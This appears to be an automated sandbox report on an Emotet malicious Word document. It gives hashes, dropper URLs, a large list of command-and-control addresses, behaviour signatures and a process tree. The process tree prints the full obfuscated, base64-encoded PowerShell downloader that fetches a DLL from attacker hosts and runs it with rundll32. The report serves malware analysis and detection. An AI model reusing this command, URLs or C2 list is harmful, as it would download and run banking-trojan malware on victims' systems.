emotet | 883f2d94856edd7ee7d9ddefb4cb9c49b0300ad23fad3aa88f3c020d166b771e

Analysis

max time kernel
69s
max time network
85s
platform
windows10_x64
resource
win10v20201028
submitted
23/12/2020, 16:08

Sharing

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Report Analysis Logs

General

Target
emotet_e2_883f2d94856edd7ee7d9ddefb4cb9c49b0300ad23fad3aa88f3c020d166b771e_2020-12-23__160444361712._doc.doc
Size 183KB
Sample201223-l8ekb96642
SHA256 883f2d94856edd7ee7d9ddefb4cb9c49b0300ad23fad3aa88f3c020d166b771e
MD5 fd38e4afa4ce597d0423353b9e9ac1d2
SHA1 ef0ccb49c0030b43a94a0108e852624c660fcfe1
SHA512 bcc0e4871b493cc8b55923e71e785b6ae37895df06fc68c99849e4cfd287da0aef5fa793405c1aea1a444fcd56faf2d351b68256f6eb08f4a9b72c2fe93e9a4a
MD5 SHA1 SHA512

Score

10^/10

emotet epoch2 banker trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://superiorsurfacings.com/pc-not-qgtje/j8T3S/
exe.dropper
http://tenrougroup.com/j/Hb7Wf/
exe.dropper
http://syokmelaram.com/wp-includes/e1/
exe.dropper
http://advokatemelyanov.ru/administrator/OMHpK/
exe.dropper
http://mumglobal.com/content/DF0/
exe.dropper
http://mvldesign.ca/Durani/2lZs/
exe.dropper
https://eytsoft.com/css/Q2k/

Extracted

Family

emotet

Botnet

Epoch2

97.120.3.198:80
70.180.33.202:80
50.116.111.59:8080
173.249.20.233:443
188.165.214.98:8080
172.104.97.173:8080
41.185.28.84:8080
120.150.218.241:443
217.20.166.178:7080
67.10.155.92:80
188.219.31.12:80
120.150.60.189:80
108.21.72.56:443
186.74.215.34:80
144.217.7.207:7080
152.170.205.73:80
49.205.182.134:80
187.161.206.24:80
95.213.236.64:8080
74.40.205.197:443
185.201.9.197:8080
142.112.10.95:20
100.37.240.62:80
178.152.87.96:80
138.68.87.218:443
220.245.198.194:80
62.171.142.179:8080
5.2.212.254:80
115.94.207.99:443
118.83.154.64:443
209.141.54.221:7080
75.143.247.51:80
58.1.242.115:80
87.106.139.101:8080
104.131.11.150:443
78.24.219.147:8080
155.186.9.160:80
2.58.16.89:8080
37.139.21.175:8080
70.92.118.112:80
51.89.36.180:443
172.86.188.251:8080
109.116.245.80:80
72.186.136.247:443
46.105.131.79:8080
74.75.104.224:80
95.9.5.93:80
72.229.97.235:80
174.118.202.24:443
202.134.4.211:8080
37.187.72.193:8080
89.216.122.92:80
201.252.34.3:80
123.176.25.234:80
157.245.99.39:8080
24.178.90.49:80
167.114.153.111:8080
121.124.124.40:7080
139.162.60.124:8080
190.162.215.233:80
181.165.68.127:80
110.145.77.103:80
185.94.252.104:443
85.105.111.166:80
202.141.243.254:443
78.188.225.105:80
64.207.182.168:8080
208.74.26.234:80
190.29.166.0:80
110.145.101.66:443
50.245.107.73:443
172.125.40.123:80
161.0.153.60:80
201.241.127.190:80
62.30.7.67:443
119.59.116.21:8080
79.137.83.50:443
47.144.21.37:80
134.209.144.106:443
74.208.45.104:8080
203.153.216.189:7080
62.75.141.82:80
137.59.187.107:8080
202.134.4.216:8080
172.105.13.66:443
168.235.67.138:7080
190.240.194.77:443
94.23.237.171:443
50.91.114.38:80
139.99.158.11:443
110.145.11.73:80
72.188.173.74:80
5.39.91.110:7080
181.171.209.241:443
61.19.246.238:443
74.128.121.17:80
194.4.58.192:7080
109.74.5.95:8080
200.116.145.225:443
136.244.110.184:8080
67.170.250.203:443
24.69.65.8:8080
139.59.60.244:8080
176.111.60.55:8080
24.179.13.119:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4176	4340	cmd.exe	12

Blocklisted process makes network request 2 IoCs

flow	pid	Process
14	516	powershell.exe
29	4076	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
1188	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Pttx\xgyf.yjy	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4768	WINWORD.EXE
4768	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
516	powershell.exe
516	powershell.exe
516	powershell.exe
4076	rundll32.exe
4076	rundll32.exe
4076	rundll32.exe
4076	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	516	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4768	WINWORD.EXE
4768	WINWORD.EXE
4768	WINWORD.EXE
4768	WINWORD.EXE
4768	WINWORD.EXE
4768	WINWORD.EXE
4768	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4176 wrote to memory of 4328	4176	cmd.exe	77
PID 4176 wrote to memory of 4328	4176	cmd.exe	77
PID 4176 wrote to memory of 516	4176	cmd.exe	78
PID 4176 wrote to memory of 516	4176	cmd.exe	78
PID 516 wrote to memory of 1056	516	powershell.exe	79
PID 516 wrote to memory of 1056	516	powershell.exe	79
PID 1056 wrote to memory of 1188	1056	rundll32.exe	80
PID 1056 wrote to memory of 1188	1056	rundll32.exe	80
PID 1056 wrote to memory of 1188	1056	rundll32.exe	80
PID 1188 wrote to memory of 4076	1188	rundll32.exe	82
PID 1188 wrote to memory of 4076	1188	rundll32.exe	82
PID 1188 wrote to memory of 4076	1188	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_883f2d94856edd7ee7d9ddefb4cb9c49b0300ad23fad3aa88f3c020d166b771e_2020-12-23__160444361712._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4768

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD UwBlAHQAIAAoACcAVQAnACsAJwAyADYAcwBUACcAKQAgACAAKABbAFQAWQBwAGUAXQAoACIAewAzAH0AewA1AH0AewA0AH0AewAwAH0AewAxAH0AewAyAH0AewA2AH0AIgAtAEYAJwBPAC4AZABpAHIAJwAsACcAZQBjAFQAbwAnACwAJwByACcALAAnAFMAJwAsACcAaQAnACwAJwB5AHMAVABlAE0ALgAnACwAJwB5ACcAKQApACAAOwAgACQAVwBFAHYAYgBoAG8APQBbAHQAeQBQAGUAXQAoACIAewA1AH0AewA3AH0AewAxAH0AewA4AH0AewAwAH0AewA2AH0AewAyAH0AewAzAH0AewA0AH0AIgAgAC0ARgAnAHQALgBTACcALAAnAG0ALgBOACcALAAnAFIAVgAnACwAJwBJAEMARQBQAG8AaQBuAHQAJwAsACcAbQBhAE4AQQBHAEUAUgAnACwAJwBTACcALAAnAEUAJwAsACcAeQBTAFQARQAnACwAJwBlACcAKQAgADsAIAAgACAAcwBlAFQALQBpAHQAZQBNACAAKAAnAHYAQQByACcAKwAnAEkAYQBCAEwARQA6ADMAJwArACcAdwByACcAKQAgACgAWwBUAFkAcABFAF0AKAAiAHsAMwB9AHsANAB9AHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAEYAIAAnAGkAZQAnACwAJwBMACcALAAnAE4AVAAnACwAJwBOAEUAdAAuAHcAJwAsACcAZQBiAGMAJwApACAAIAApADsAIAAkAEsAMgA5AFAAPQAoACcAWgA5ACcAKwAnADgATwAnACkAOwAkAFEAMABvADkAawBzAGcAPQAkAEwANgAzAEsAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE0AMAAyAFYAOwAkAEsAMgBfAFMAPQAoACcAWAAnACsAKAAnADgAOQAnACsAJwBVACcAKQApADsAIAAgACgAbABTACAAKAAnAHYAQQBSAGkAJwArACcAQQBiACcAKwAnAEwARQAnACsAJwA6AFUAMgA2AFMAdAAnACkAIAAgACkALgB2AEEATAB1AGUAOgA6ACIAYwByAEUAYABBAHQAYABlAGQAaQBgAFIARQBDAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBFAGcAJwArACgAJwB3ACcAKwAnAFIAaAAnACkAKwAnADcAYwAnACsAKAAnAGUAYQAnACsAJwB2AEUAJwArACcAZwB3AEsAYgBlAHMAJwArACcAYwA0AGwARQBnACcAKQArACcAdwAnACkALgAiAFIARQBQAGAAbABBAGMAZQAiACgAKABbAEMAaABhAFIAXQA2ADkAKwBbAEMAaABhAFIAXQAxADAAMwArAFsAQwBoAGEAUgBdADEAMQA5ACkALABbAHMAVAByAEkAbgBnAF0AWwBDAGgAYQBSAF0AOQAyACkAKQApADsAJABXADAAOABJAD0AKAAoACcAQwAnACsAJwA4ADcAJwApACsAJwBNACcAKQA7ACAAJAB3AGUAdgBiAEgATwA6ADoAIgBzAEUAYwBgAFUAYABSAEkAdABgAFkAUAByAE8AYABUAE8AYwBvAGwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAxACcAKQArACcAMgAnACkAOwAkAEsAMwA2AEsAPQAoACgAJwBEACcAKwAnADEAXwAnACkAKwAnAFIAJwApADsAJABTAGEAZwBjADUANwBrACAAPQAgACgAJwBRACcAKwAoACcAXwAnACsAJwBfAFcAJwApACkAOwAkAEgAMwAyAEUAPQAoACcASQAnACsAKAAnADEAXwAnACsAJwBVACcAKQApADsAJABaAGMAcQByAHgAawBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwACcAKwAnAH0AUgAnACsAKAAnAGgANwAnACsAJwBjACcAKQArACcAZQAnACsAJwBhAHYAewAwAH0AJwArACgAJwBLAGIAJwArACcAZQBzACcAKwAnAGMANABsACcAKQArACcAewAwAH0AJwApACAAIAAtAGYAIABbAGMAaABhAHIAXQA5ADIAKQArACQAUwBhAGcAYwA1ADcAawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFAAOQAwAFcAPQAoACcAVgA0ACcAKwAnADcARAAnACkAOwAkAEkAdQBoAHQAdwBiAGIAPQAoACgAKAAoACcAKQApAGMAJwArACcAKAAoAHcAJwApACkAKwAoACgAJwAoADoALwAnACsAJwAvAHMAJwApACkAKwAoACcAdQBwAGUAJwArACcAcgBpACcAKQArACgAJwBvAHIAcwB1AHIAZgBhAGMAaQBuAGcAJwArACcAcwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACcAcABjACcAKwAnAC0AJwArACcAbgAnACsAJwBvAHQALQBxACcAKQArACcAZwB0ACcAKwAoACcAagBlAC8AagAnACsAJwA4AFQAJwApACsAKAAoACcAMwBTACcAKwAnAC8AQAApACcAKQApACsAKAAoACcAKQBjACcAKQApACsAKAAoACcAKAAnACsAJwAoAHcAJwApACkAKwAoACgAJwAoADoALwAnACsAJwAvACcAKQApACsAKAAnAHQAJwArACcAZQBuACcAKQArACgAJwByAG8AJwArACcAdQAnACkAKwAoACcAZwByAG8AJwArACcAdQBwAC4AYwBvACcAKwAnAG0AJwApACsAJwAvACcAKwAoACcAagAvAEgAJwArACcAYgAnACkAKwAoACgAJwA3ACcAKwAnAFcAZgAnACsAJwAvAEAAKQApAGMAJwApACkAKwAoACgAJwAoACgAdwAnACsAJwAoADoAJwApACkAKwAoACcALwAnACsAJwAvAHMAeQAnACkAKwAnAG8AawAnACsAJwBtACcAKwAnAGUAbAAnACsAJwBhACcAKwAoACcAcgAnACsAJwBhAG0ALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkAGUAJwArACcAcwAnACkAKwAnAC8AZQAnACsAKAAoACcAMQAnACsAJwAvAEAAKQApAGMAJwApACkAKwAoACgAJwAoACcAKwAnACgAdwAoACcAKQApACsAKAAnADoALwAnACsAJwAvACcAKQArACcAYQAnACsAKAAnAGQAdgAnACsAJwBvACcAKQArACcAawBhACcAKwAnAHQAJwArACgAJwBlAG0AZQAnACsAJwBsACcAKQArACcAeQBhACcAKwAoACcAbgAnACsAJwBvAHYAJwApACsAJwAuACcAKwAoACcAcgAnACsAJwB1AC8AYQAnACkAKwAnAGQAbQAnACsAJwBpACcAKwAnAG4AJwArACgAJwBpAHMAJwArACcAdAByACcAKQArACgAJwBhACcAKwAnAHQAbwAnACsAJwByAC8ATwBNACcAKQArACgAKAAnAEgAJwArACcAcABLAC8AQAAnACsAJwApACkAJwApACkAKwAnAGMAJwArACgAKAAnACgAKAB3ACgAOgAvAC8AJwArACcAbQAnACsAJwB1ACcAKwAnAG0AZwAnACkAKQArACcAbAAnACsAKAAnAG8AYgBhACcAKwAnAGwAJwArACcALgBjAG8AbQAvACcAKwAnAGMAbwBuACcAKQArACgAJwB0ACcAKwAnAGUAbgB0AC8ARAAnACkAKwAoACgAJwBGADAALwAnACsAJwBAACkAKQAnACkAKQArACcAYwAnACsAKAAoACcAKAAoAHcAKAAnACsAJwA6ACcAKQApACsAKAAnAC8ALwAnACsAJwBtACcAKQArACgAJwB2ACcAKwAnAGwAZABlAHMAJwArACcAaQAnACkAKwAoACcAZwBuAC4AYwAnACsAJwBhACcAKQArACgAJwAvACcAKwAnAEQAdQAnACkAKwAoACcAcgBhAG4AJwArACcAaQAvACcAKQArACgAKAAnADIAbAAnACsAJwBaAHMALwBAACkAKQBjACgAJwArACcAKAAnACkAKQArACgAKAAnAHcAJwArACcAKABzADoAJwApACkAKwAnAC8ALwAnACsAJwBlACcAKwAnAHkAJwArACgAJwB0ACcAKwAnAHMAbwBmAHQALgBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwBjACcAKQArACgAJwBzAHMALwAnACsAJwBRADIAJwApACsAJwBrACcAKwAnAC8AJwApACkALgAiAHIAYABlAFAATABgAEEAQwBlACIAKAAoACgAKAAoACcAKQApACcAKwAnAGMAJwApACkAKwAoACgAJwAoACcAKwAnACgAdwAnACkAKQArACcAKAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAYABQAGwASQB0ACIAKAAkAEcANwA2AEQAIAArACAAJABRADAAbwA5AGsAcwBnACAAKwAgACQAVgA4ADIARQApADsAJABYADAAOQBTAD0AKAAoACcAVwA3ACcAKwAnADUAJwApACsAJwBOACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATwA2AHgAZABwAHgAbQAgAGkAbgAgACQASQB1AGgAdAB3AGIAYgApAHsAdAByAHkAewAgACAAJAAzAFcAUgA6ADoAIgBuAGAAZQBXACIAKAApAC4AIgBEAG8AYABXAG4AYABsAG8AYABBAEQAZgBJAEwARQAiACgAJABPADYAeABkAHAAeABtACwAIAAkAFoAYwBxAHIAeABrAGcAKQA7ACQASgA0ADgATwA9ACgAJwBIACcAKwAoACcAMgAnACsAJwAyAEoAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAWgBjAHEAcgB4AGsAZwApAC4AIgBsAGUATgBnAGAAVABIACIAIAAtAGcAZQAgADQANgAwADAAMgApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABaAGMAcQByAHgAawBnACwAJwAjADEAJwAuACIAVABPAHMAdABgAFIAYABJAG4AZwAiACgAKQA7ACQASQAwADAASwA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEQAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAOQA3AFkAPQAoACgAJwBCACcAKwAnADMANwAnACkAKwAnAEwAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYADIAOQBSAD0AKAAoACcAWAAnACsAJwBfADIAJwApACsAJwBBACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4176
- C:\Windows\system32\msg.exe
  msg Admin /v Word experienced an error trying to open the file.
  2⤵
  PID:4328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  POwersheLL -w hidden -ENCOD UwBlAHQAIAAoACcAVQAnACsAJwAyADYAcwBUACcAKQAgACAAKABbAFQAWQBwAGUAXQAoACIAewAzAH0AewA1AH0AewA0AH0AewAwAH0AewAxAH0AewAyAH0AewA2AH0AIgAtAEYAJwBPAC4AZABpAHIAJwAsACcAZQBjAFQAbwAnACwAJwByACcALAAnAFMAJwAsACcAaQAnACwAJwB5AHMAVABlAE0ALgAnACwAJwB5ACcAKQApACAAOwAgACQAVwBFAHYAYgBoAG8APQBbAHQAeQBQAGUAXQAoACIAewA1AH0AewA3AH0AewAxAH0AewA4AH0AewAwAH0AewA2AH0AewAyAH0AewAzAH0AewA0AH0AIgAgAC0ARgAnAHQALgBTACcALAAnAG0ALgBOACcALAAnAFIAVgAnACwAJwBJAEMARQBQAG8AaQBuAHQAJwAsACcAbQBhAE4AQQBHAEUAUgAnACwAJwBTACcALAAnAEUAJwAsACcAeQBTAFQARQAnACwAJwBlACcAKQAgADsAIAAgACAAcwBlAFQALQBpAHQAZQBNACAAKAAnAHYAQQByACcAKwAnAEkAYQBCAEwARQA6ADMAJwArACcAdwByACcAKQAgACgAWwBUAFkAcABFAF0AKAAiAHsAMwB9AHsANAB9AHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAEYAIAAnAGkAZQAnACwAJwBMACcALAAnAE4AVAAnACwAJwBOAEUAdAAuAHcAJwAsACcAZQBiAGMAJwApACAAIAApADsAIAAkAEsAMgA5AFAAPQAoACcAWgA5ACcAKwAnADgATwAnACkAOwAkAFEAMABvADkAawBzAGcAPQAkAEwANgAzAEsAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE0AMAAyAFYAOwAkAEsAMgBfAFMAPQAoACcAWAAnACsAKAAnADgAOQAnACsAJwBVACcAKQApADsAIAAgACgAbABTACAAKAAnAHYAQQBSAGkAJwArACcAQQBiACcAKwAnAEwARQAnACsAJwA6AFUAMgA2AFMAdAAnACkAIAAgACkALgB2AEEATAB1AGUAOgA6ACIAYwByAEUAYABBAHQAYABlAGQAaQBgAFIARQBDAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBFAGcAJwArACgAJwB3ACcAKwAnAFIAaAAnACkAKwAnADcAYwAnACsAKAAnAGUAYQAnACsAJwB2AEUAJwArACcAZwB3AEsAYgBlAHMAJwArACcAYwA0AGwARQBnACcAKQArACcAdwAnACkALgAiAFIARQBQAGAAbABBAGMAZQAiACgAKABbAEMAaABhAFIAXQA2ADkAKwBbAEMAaABhAFIAXQAxADAAMwArAFsAQwBoAGEAUgBdADEAMQA5ACkALABbAHMAVAByAEkAbgBnAF0AWwBDAGgAYQBSAF0AOQAyACkAKQApADsAJABXADAAOABJAD0AKAAoACcAQwAnACsAJwA4ADcAJwApACsAJwBNACcAKQA7ACAAJAB3AGUAdgBiAEgATwA6ADoAIgBzAEUAYwBgAFUAYABSAEkAdABgAFkAUAByAE8AYABUAE8AYwBvAGwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAxACcAKQArACcAMgAnACkAOwAkAEsAMwA2AEsAPQAoACgAJwBEACcAKwAnADEAXwAnACkAKwAnAFIAJwApADsAJABTAGEAZwBjADUANwBrACAAPQAgACgAJwBRACcAKwAoACcAXwAnACsAJwBfAFcAJwApACkAOwAkAEgAMwAyAEUAPQAoACcASQAnACsAKAAnADEAXwAnACsAJwBVACcAKQApADsAJABaAGMAcQByAHgAawBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwACcAKwAnAH0AUgAnACsAKAAnAGgANwAnACsAJwBjACcAKQArACcAZQAnACsAJwBhAHYAewAwAH0AJwArACgAJwBLAGIAJwArACcAZQBzACcAKwAnAGMANABsACcAKQArACcAewAwAH0AJwApACAAIAAtAGYAIABbAGMAaABhAHIAXQA5ADIAKQArACQAUwBhAGcAYwA1ADcAawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFAAOQAwAFcAPQAoACcAVgA0ACcAKwAnADcARAAnACkAOwAkAEkAdQBoAHQAdwBiAGIAPQAoACgAKAAoACcAKQApAGMAJwArACcAKAAoAHcAJwApACkAKwAoACgAJwAoADoALwAnACsAJwAvAHMAJwApACkAKwAoACcAdQBwAGUAJwArACcAcgBpACcAKQArACgAJwBvAHIAcwB1AHIAZgBhAGMAaQBuAGcAJwArACcAcwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACcAcABjACcAKwAnAC0AJwArACcAbgAnACsAJwBvAHQALQBxACcAKQArACcAZwB0ACcAKwAoACcAagBlAC8AagAnACsAJwA4AFQAJwApACsAKAAoACcAMwBTACcAKwAnAC8AQAApACcAKQApACsAKAAoACcAKQBjACcAKQApACsAKAAoACcAKAAnACsAJwAoAHcAJwApACkAKwAoACgAJwAoADoALwAnACsAJwAvACcAKQApACsAKAAnAHQAJwArACcAZQBuACcAKQArACgAJwByAG8AJwArACcAdQAnACkAKwAoACcAZwByAG8AJwArACcAdQBwAC4AYwBvACcAKwAnAG0AJwApACsAJwAvACcAKwAoACcAagAvAEgAJwArACcAYgAnACkAKwAoACgAJwA3ACcAKwAnAFcAZgAnACsAJwAvAEAAKQApAGMAJwApACkAKwAoACgAJwAoACgAdwAnACsAJwAoADoAJwApACkAKwAoACcALwAnACsAJwAvAHMAeQAnACkAKwAnAG8AawAnACsAJwBtACcAKwAnAGUAbAAnACsAJwBhACcAKwAoACcAcgAnACsAJwBhAG0ALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkAGUAJwArACcAcwAnACkAKwAnAC8AZQAnACsAKAAoACcAMQAnACsAJwAvAEAAKQApAGMAJwApACkAKwAoACgAJwAoACcAKwAnACgAdwAoACcAKQApACsAKAAnADoALwAnACsAJwAvACcAKQArACcAYQAnACsAKAAnAGQAdgAnACsAJwBvACcAKQArACcAawBhACcAKwAnAHQAJwArACgAJwBlAG0AZQAnACsAJwBsACcAKQArACcAeQBhACcAKwAoACcAbgAnACsAJwBvAHYAJwApACsAJwAuACcAKwAoACcAcgAnACsAJwB1AC8AYQAnACkAKwAnAGQAbQAnACsAJwBpACcAKwAnAG4AJwArACgAJwBpAHMAJwArACcAdAByACcAKQArACgAJwBhACcAKwAnAHQAbwAnACsAJwByAC8ATwBNACcAKQArACgAKAAnAEgAJwArACcAcABLAC8AQAAnACsAJwApACkAJwApACkAKwAnAGMAJwArACgAKAAnACgAKAB3ACgAOgAvAC8AJwArACcAbQAnACsAJwB1ACcAKwAnAG0AZwAnACkAKQArACcAbAAnACsAKAAnAG8AYgBhACcAKwAnAGwAJwArACcALgBjAG8AbQAvACcAKwAnAGMAbwBuACcAKQArACgAJwB0ACcAKwAnAGUAbgB0AC8ARAAnACkAKwAoACgAJwBGADAALwAnACsAJwBAACkAKQAnACkAKQArACcAYwAnACsAKAAoACcAKAAoAHcAKAAnACsAJwA6ACcAKQApACsAKAAnAC8ALwAnACsAJwBtACcAKQArACgAJwB2ACcAKwAnAGwAZABlAHMAJwArACcAaQAnACkAKwAoACcAZwBuAC4AYwAnACsAJwBhACcAKQArACgAJwAvACcAKwAnAEQAdQAnACkAKwAoACcAcgBhAG4AJwArACcAaQAvACcAKQArACgAKAAnADIAbAAnACsAJwBaAHMALwBAACkAKQBjACgAJwArACcAKAAnACkAKQArACgAKAAnAHcAJwArACcAKABzADoAJwApACkAKwAnAC8ALwAnACsAJwBlACcAKwAnAHkAJwArACgAJwB0ACcAKwAnAHMAbwBmAHQALgBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwBjACcAKQArACgAJwBzAHMALwAnACsAJwBRADIAJwApACsAJwBrACcAKwAnAC8AJwApACkALgAiAHIAYABlAFAATABgAEEAQwBlACIAKAAoACgAKAAoACcAKQApACcAKwAnAGMAJwApACkAKwAoACgAJwAoACcAKwAnACgAdwAnACkAKQArACcAKAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAYABQAGwASQB0ACIAKAAkAEcANwA2AEQAIAArACAAJABRADAAbwA5AGsAcwBnACAAKwAgACQAVgA4ADIARQApADsAJABYADAAOQBTAD0AKAAoACcAVwA3ACcAKwAnADUAJwApACsAJwBOACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATwA2AHgAZABwAHgAbQAgAGkAbgAgACQASQB1AGgAdAB3AGIAYgApAHsAdAByAHkAewAgACAAJAAzAFcAUgA6ADoAIgBuAGAAZQBXACIAKAApAC4AIgBEAG8AYABXAG4AYABsAG8AYABBAEQAZgBJAEwARQAiACgAJABPADYAeABkAHAAeABtACwAIAAkAFoAYwBxAHIAeABrAGcAKQA7ACQASgA0ADgATwA9ACgAJwBIACcAKwAoACcAMgAnACsAJwAyAEoAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAWgBjAHEAcgB4AGsAZwApAC4AIgBsAGUATgBnAGAAVABIACIAIAAtAGcAZQAgADQANgAwADAAMgApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABaAGMAcQByAHgAawBnACwAJwAjADEAJwAuACIAVABPAHMAdABgAFIAYABJAG4AZwAiACgAKQA7ACQASQAwADAASwA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEQAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAOQA3AFkAPQAoACgAJwBCACcAKwAnADMANwAnACkAKwAnAEwAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYADIAOQBSAD0AKAAoACcAWAAnACsAJwBfADIAJwApACsAJwBBACcAKQA=
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:516
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rh7ceav\Kbesc4l\Q__W.dll,#1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1056
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rh7ceav\Kbesc4l\Q__W.dll,#1
      4⤵
      Loads dropped DLL
      Drops file in System32 directory
      Suspicious use of WriteProcessMemory
      PID:1188
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pttx\xgyf.yjy",RunDLL
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:4076

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/516-5-0x00007FFF39B70000-0x00007FFF3A55C000-memory.dmp

Download

memory/516-6-0x00000166406D0000-0x00000166406D1000-memory.dmp

Download

memory/516-7-0x0000016640880000-0x0000016640881000-memory.dmp

Download

memory/1188-12-0x0000000001090000-0x00000000010AF000-memory.dmp

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memory/4076-14-0x0000000000280000-0x000000000029F000-memory.dmp

Download

memory/4768-2-0x00007FFF42130000-0x00007FFF42767000-memory.dmp

Download